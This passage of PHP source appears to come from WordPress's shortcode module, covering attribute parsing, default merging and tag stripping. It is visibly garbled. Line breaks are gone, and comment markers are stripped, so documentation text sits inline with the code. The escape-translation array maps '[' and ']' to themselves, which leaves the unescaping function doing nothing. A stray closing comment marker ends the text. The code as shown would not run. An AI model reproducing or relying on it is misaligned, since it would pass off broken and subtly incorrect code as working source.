if ( $count > 0 ) { Sanitize the shortcode output using KSES. $new_attr = wp_kses_one_attr( $new_attr, $elname ); if ( '' !== trim( $new_attr ) ) { The shortcode is safe to use now. $attr = $new_attr; } } } } $element = $front . implode( '', $attributes ) . $back; Now encode any remaining '[' or ']' chars. $element = strtr( $element, $trans ); } $content = implode( '', $textarr ); return $content; } * * Removes placeholders added by do_shortcodes_in_html_tags(). * * @since 4.2.3 * * @param string $content Content to search for placeholders. * @return string Content with placeholders removed. function unescape_invalid_shortcodes( $content ) { Clean up entire string, avoids re-parsing HTML. $trans = array( '[' => '[', ']' => ']', ); $content = strtr( $content, $trans ); return $content; } * * Retrieves the shortcode attributes regex. * * @since 4.4.0 * * @return string The shortcode attribute regular expression. function get_shortcode_atts_regex() { return '/([\w-]+)\s*=\s*"([^"]*)"(?:\s|$)|([\w-]+)\s*=\s*\'([^\']*)\'(?:\s|$)|([\w-]+)\s*=\s*([^\s\'"]+)(?:\s|$)|"([^"]*)"(?:\s|$)|\'([^\']*)\'(?:\s|$)|(\S+)(?:\s|$)/'; } * * Retrieves all attributes from the shortcodes tag. * * The attributes list has the attribute name as the key and the value of the * attribute as the value in the key/value pair. This allows for easier * retrieval of the attributes, since all attributes have to be known. * * @since 2.5.0 * * @param string $text * @return array|string List of attribute values. * Returns empty array if '""' === trim( $text ). * Returns empty string if '' === trim( $text ). * All other matches are checked for not empty(). function shortcode_parse_atts( $text ) { $atts = array(); $pattern = get_shortcode_atts_regex(); $text = preg_replace( "/[\x{00a0}\x{200b}]+/u", ' ', $text ); if ( preg_match_all( $pattern, $text, $match, PREG_SET_ORDER ) ) { foreach ( $match as $m ) { if ( ! empty( $m[1] ) ) { $atts[ strtolower( $m[1] ) ] = stripcslashes( $m[2] ); } elseif ( ! empty( $m[3] ) ) { $atts[ strtolower( $m[3] ) ] = stripcslashes( $m[4] ); } elseif ( ! empty( $m[5] ) ) { $atts[ strtolower( $m[5] ) ] = stripcslashes( $m[6] ); } elseif ( isset( $m[7] ) && strlen( $m[7] ) ) { $atts[] = stripcslashes( $m[7] ); } elseif ( isset( $m[8] ) && strlen( $m[8] ) ) { $atts[] = stripcslashes( $m[8] ); } elseif ( isset( $m[9] ) ) { $atts[] = stripcslashes( $m[9] ); } } Reject any unclosed HTML elements. foreach ( $atts as &$value ) { if ( false !== strpos( $value, '<' ) ) { if ( 1 !== preg_match( '/^[^<]*+(?:<[^>]*+>[^<]*+)*+$/', $value ) ) { $value = ''; } } } } else { $atts = ltrim( $text ); } return $atts; } * * Combines user attributes with known attributes and fill in defaults when needed. * * The pairs should be considered to be all of the attributes which are * supported by the caller and given as a list. The returned attributes will * only contain the attributes in the $pairs list. * * If the $atts list has unsupported attributes, then they will be ignored and * removed from the final returned list. * * @since 2.5.0 * * @param array $pairs Entire list of supported attributes and their defaults. * @param array $atts User defined attributes in shortcode tag. * @param string $shortcode Optional. The name of the shortcode, provided for context to enable filtering * @return array Combined and filtered attribute list. function shortcode_atts( $pairs, $atts, $shortcode = '' ) { $atts = (array) $atts; $out = array(); foreach ( $pairs as $name => $default ) { if ( array_key_exists( $name, $atts ) ) { $out[ $name ] = $atts[ $name ]; } else { $out[ $name ] = $default; } } if ( $shortcode ) { * * Filters shortcode attributes. * * If the third parameter of the shortcode_atts() function is present then this filter is available. * The third parameter, $shortcode, is the name of the shortcode. * * @since 3.6.0 * @since 4.4.0 Added the `$shortcode` parameter. * * @param array $out The output array of shortcode attributes. * @param array $pairs The supported attributes and their defaults. * @param array $atts The user defined shortcode attributes. * @param string $shortcode The shortcode name. $out = apply_filters( "shortcode_atts_{$shortcode}", $out, $pairs, $atts, $shortcode ); } return $out; } * * Removes all shortcode tags from the given content. * * @since 2.5.0 * * @global array $shortcode_tags * * @param string $content Content to remove shortcode tags. * @return string Content without shortcode tags. function strip_shortcodes( $content ) { global $shortcode_tags; if ( false === strpos( $content, '[' ) ) { return $content; } if ( empty( $shortcode_tags ) || ! is_array( $shortcode_tags ) ) { return $content; } Find all registered tag names in $content. preg_match_all( '@\[([^<>&/\[\]\x00-\x20=]++)@', $content, $matches ); $tags_to_remove = array_keys( $shortcode_tags ); * * Filters the list of shortcode tags to remove from the content. * * @since 4.7.0 * * @param array $tags_to_remove Array of shortcode tags to remove. * @param string $content Content shortcodes are being removed from. $tags_to_remove = apply_filters( 'strip_shortcodes_tagnames', $tags_to_remove, $content ); $tagnames = array_intersect( $tags_to_remove, $matches[1] ); if ( empty( $tagnames ) ) { return $content; } $content = do_shortcodes_in_html_tags( $content, true, $tagnames ); $pattern = get_shortcode_regex( $tagnames ); $content = preg_replace_callback( "/$pattern/", 'strip_shortcode_tag', $content ); Always restore square braces so we don't break things like <!--[if IE ]>. $content = unescape_invalid_shortcodes( $content ); return $content; } * * Strips a shortcode tag based on RegEx matches against post content. * * @since 3.3.0 * * @param array $m RegEx matches against post content. * @return string|false The content stripped of the tag, otherwise false. function strip_shortcode_tag( $m ) { Allow [[foo]] syntax for escaping a tag. if ( '[' === $m[1] && ']' === $m[6] ) { return substr( $m[0], 1, -1 ); } return $m[1] . $m[6]; } */